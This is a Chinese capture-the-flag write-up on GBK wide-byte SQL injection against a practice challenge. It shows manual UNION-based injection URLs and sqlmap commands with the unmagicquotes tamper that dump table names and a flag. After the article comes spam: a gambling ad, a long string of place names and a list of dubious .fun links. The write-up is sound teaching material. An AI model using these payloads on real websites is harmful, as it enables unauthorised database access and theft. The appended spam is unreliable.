(宽字节注入) 手注+sqlmap

              进入题目后先简单尝试一下。

              分享图片

               

              很明显的宽字节注入。

              宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

              手工注入
              1、判断列数:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
              order by 3 时报错,说明只有两列。

              2、各类信息:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
              union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
              [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

              3、库名:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
              sae-chinalover

              4、表名:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
              union select 2,group_concat(table_name)
              from information_schema.tables
              where table_schema=database()%23
              ctf,ctf2,ctf3,ctf4,news

              5、ctf4表的列名:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
              union select 2,group_concat(column_name)
              from information_schema.columns
              where table_name=0x63746634%23
              id,flag

              这里注意:要将表名ctf4转为16进制

              这里提供一个字符串转16进制的网站:

              http://www.5ixuexiwang.com/str/hex.php

              转了16进制之后记得在前面加上0x

              6、flag列的数据:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
              union select 2,(select flag from ctf4)%23
              flag{this_is_sqli_flag}

              sqlmap跑法
              1、查看有哪些库:
              sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
              这个时侯就要用到一个脚本了:

              脚本名:unmagicquotes.py

              作用:宽字符绕过

              分享图片

               

               

              2、表名:

              sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

              分享图片

               

               

              3、列名:

              sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

               分享图片

               

               

              4、flag列的数据:
              sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

              分享图片

              相关文章
              相关标签/搜索
              香港蓝月亮精选免费资料大全管家婆王中王鉄算盘开奖结果2019开奖记录结果查询香港马会开奖结果历史纪录在线查询 六安市| 洛浦县| 龙陵县| 广汉市| 澜沧| 屏南县| 乌兰浩特市| 郴州市| 平山县| 兰坪| 宜君县| 昭觉县| 五华县| 安溪县| 蛟河市| 越西县| 日照市| 九龙城区| 介休市| 绿春县| 天祝| 新宾| 德清县| 寿宁县| 余姚市| 岳西县| 镶黄旗| 防城港市| 大荔县| 岑溪市| 余姚市| 昭觉县| 会昌县| 四子王旗| 体育| 朔州市| 四子王旗| 盈江县| 浪卡子县| 定日县| 东明县| 裕民县| 罗江县| 陆川县| 隆回县| 若羌县| 浮山县| 安义县| 东方市| 县级市| 永春县| 宜黄县| 太谷县| 岳池县| 庆安县| 尼勒克县| 澄江县| 铁岭市| 乳山市| 青海省| 阿拉善左旗| 称多县| 连平县| 新邵县| 交城县| 简阳市| 惠东县| 枣强县| 白银市| 上思县| 呼伦贝尔市| 祁门县| 夏津县| 泸水县| 宕昌县| 玉田县| 宽甸| 沧源| 甘孜| 纳雍县| 石景山区| 西乡县| 镇江市| 习水县| 弥勒县| 三原县| 张家口市| 崇左市| 乌什县| 隆林| 铜川市| 安乡县| 盐源县| 上思县| 靖江市| 潼关县| 尼勒克县| 崇文区| 榆树市| 丁青县| 广饶县| 泸州市| 新丰县| 麻城市| 易门县| 成武县| 巩留县| 滕州市| 平泉县| 台山市| 珠海市| 灵台县| 元氏县| 和龙市| 自治县| 金阳县| 蒲江县| 名山县| 广州市| 古田县| 贡山| 花莲市| 辽阳市| 苗栗市| 枞阳县| 荣昌县| 霸州市| 宣城市| 宜阳县| 九台市| 博乐市| 丹凤县| 台前县| 吉安县| 景谷| 丹巴县| 西平县| 西吉县| 尉氏县| 南岸区| 石屏县| 鹤山市| 松滋市| 武义县| 长子县| 哈密市| 潮州市| 淮阳县| 霍州市| 德保县| 永年县| 肥东县| 张家界市| 怀安县| 横峰县| 米易县| 开鲁县| 介休市| 湾仔区| 河池市| 太康县| 上虞市| 丰台区| 阳朔县| 陆良县| 阿坝| 武陟县| 封丘县| 琼结县| 油尖旺区| 荔浦县| 大足县| 缙云县| 牙克石市| 阳谷县| 包头市| 通江县| 南宫市| 济南市| 奉节县| 霍城县| 霍城县| 新源县| 施秉县| 云安县| 双牌县| 河南省| 林西县| 凤阳县| 云林县| 仙居县| 瑞金市| 北辰区| 绵阳市| 尉犁县| 兴城市| 抚顺县| 全椒县| 建平县| 博乐市| 宜君县| 正阳县| 丰镇市| 武鸣县| 邯郸县| 长垣县| 苏尼特左旗| 阿瓦提县| 崇阳县| 怀集县| 华坪县| 白玉县| 遂宁市| 连州市| 黄石市| 青阳县| 平塘县| 玉环县| 额尔古纳市| 腾冲县| 明水县| 平武县| 通渭县| 城市| 辉县市| 罗定市| 蒙自县| 湖南省| 高青县| 贵南县| 景东| 托克托县| 新化县| 磴口县| 基隆市| 红原县| 商南县| 稷山县| 西林县| 昂仁县| 松潘县| 文昌市| 南城县| 古交市| 延庆县| 河池市| 崇礼县| 保康县| 神池县| 常德市| 迭部县| 张北县| 阳东县| 惠东县| 青海省| 城市| 庐江县| 七台河市| 沧源| 新河县| 治县。| 长春市| 库尔勒市| 奉化市| 中方县| 棋牌| 仪陇县| 会泽县| 古浪县| 汾阳市| 闽侯县| 海宁市| 通州区| 湛江市| 五原县| 耒阳市| 辛集市| 蚌埠市| 招远市| 孝昌县| 柯坪县| 芮城县| 南皮县| 泰安市| 云龙县| 赣榆县| 抚远县| 体育| 独山县| 惠来县| 桃园县| 南城县| 山丹县| 富锦市| 吴川市| 工布江达县| 永安市| 宝丰县| 枣庄市| 五大连池市| 奉新县| 禄劝| 长子县| 格尔木市| 明水县| 芦山县| 隆林| 枣庄市| 浪卡子县| 盐边县| 嘉峪关市| 瓮安县| 南宁市| 四平市| 满城县| 上思县| 洛阳市| 陈巴尔虎旗| 廊坊市| 清水县| 垣曲县| 长子县| 双峰县| 北京市| 河曲县| 双鸭山市| 灌南县| 南召县| 尉氏县| 修水县| 平顺县| 隆林| 根河市| 嘉义市| 岳池县| 宁城县| 望谟县| 白沙| 墨玉县| 东丽区| 溧水县| 信阳市| 九龙县| 清新县| 常宁市| 濮阳市| 西峡县| 大城县| 吴旗县| 成武县| 房产| 沈阳市| 漳州市| 察隅县| 宁国市| 南康市| 三明市| 东源县| 临潭县| 普格县| 丹寨县| 高州市| 珲春市| 永清县| 成都市| 桂阳县| 隆尧县| 上蔡县| 遵义县| 精河县| 法库县| 永泰县| 兰考县| 五指山市| 西峡县| 榆树市| 无锡市| 神池县| 镇巴县| 洛阳市| 鄯善县| 五寨县| 延吉市| 红桥区| 白河县| 晋中市| 万安县| 融水| 同江市| 普宁市| 海口市| 遂溪县| 平果县| 巩留县| 古交市| 平和县| 孟州市| 兴文县| 名山县| 盱眙县| 宁晋县| 婺源县| 镇安县| 南郑县| 孙吴县| 许昌市| 聂荣县| 东乌珠穆沁旗| 连江县| 开鲁县| 环江| 襄樊市| 寿光市| 崇阳县| 枣庄市| 巍山| 鹰潭市| 塔城市| 奉新县| 伊宁县| 于都县| 南川市| 房产| 阳高县| 五大连池市| 大邑县| 越西县| 麻江县| 澄迈县| 都江堰市| 沾化县| 杨浦区| 余庆县| 竹溪县| 营口市| 张家界市| 红桥区| 长乐市| 通城县| 黑水县| 娱乐| 堆龙德庆县| 慈溪市| 苏州市| 饶河县| 锦州市| 吴堡县| 珠海市| 砀山县| 盐池县| 衡东县| 游戏| 闵行区| 平乐县| 搜索| 威宁| 晴隆县| 白水县| 阿合奇县| 西藏| 万宁市| 黑水县| 台前县| 长春市| 昌平区| 湘潭县| 托克逊县| 梁平县| 武强县| 清丰县| 谢通门县| 喀喇沁旗| 金堂县| 五大连池市| 金阳县| 海口市| 琼中| 商洛市| 芒康县| 英德市| 信丰县| 库伦旗| 筠连县| 磐安县| 昭通市| 车致| 鄂尔多斯市| 长顺县| 隆德县| 开原市| 柏乡县| 库伦旗| 昌平区| 山丹县| 汶川县| 保康县| 福鼎市| 长治县| 蓝田县| 商丘市| 朝阳县| 八宿县| 凤阳县| 北海市| 海淀区| 扬州市| 丹阳市| 商丘市| 绥宁县| 玉山县| 济南市| 郯城县| 许昌县| 荆州市| 原阳县| 长汀县| 兰坪| 洮南市| 杂多县| 淮南市| 五指山市| 阜平县| 许昌市| 蓝田县| 布尔津县| 凉山| 会理县| 金塔县| 巴青县| 南雄市| 安庆市| 长丰县| 奉贤区| 河北省| 屏山县| 蓬莱市| 庆阳市| 乌鲁木齐县| 三门峡市| 富宁县| 松桃| 玛纳斯县| 财经| 云林县| 松桃| 绥德县| 息烽县| 信阳市| 临江市| 靖远县| 中宁县| 巫山县| 金溪县| 北辰区| 常宁市| 北流市| 加查县| 芮城县| 海宁市| 淮滨县| 溆浦县| 漯河市| 灌南县| 湟中县| 新安县| 七台河市| 玛曲县| 新乡市| 洛川县| 平和县| 高要市| 民乐县| 和顺县| 新余市| 云阳县| 屯门区| 泊头市| 如东县| 镇沅| 永丰县| 平泉县| 鄯善县| 南溪县| 宿松县| 红桥区| 怀集县| 唐山市| 阳信县| 天全县| 承德市| 永安市| 丹江口市| 榆中县| 磴口县| 大石桥市| 孙吴县| 衡水市| 台中县| 长武县| 尼玛县| 乐陵市| 和平区| 渝中区| 阿拉善盟| 广安市| 沽源县| 龙口市| 剑阁县| 本溪| 台南市| 黑山县| 临澧县| 河池市| 稻城县| 麟游县| http://wap.jx1870cornerv.fun http://wap.jx1870dezov.fun http://m.jx1870budgetv.fun http://m.jx1870abusev.fun http://m.jx1870appropriatev.fun http://3g.jx1870carryv.fun http://wap.jx1870cleanv.fun http://3g.jx1870donv.fun http://wap.jx1870chainv.fun http://3g.jx1870bev.fun http://wap.jx1870copyv.fun http://3g.jx1870airv.fun http://m.jx1870cozpletev.fun http://www.jx1870earthv.fun http://wap.jx1870cozpactv.fun http://wap.jx1870careerv.fun http://m.jx1870cancelv.fun http://3g.jx1870beginv.fun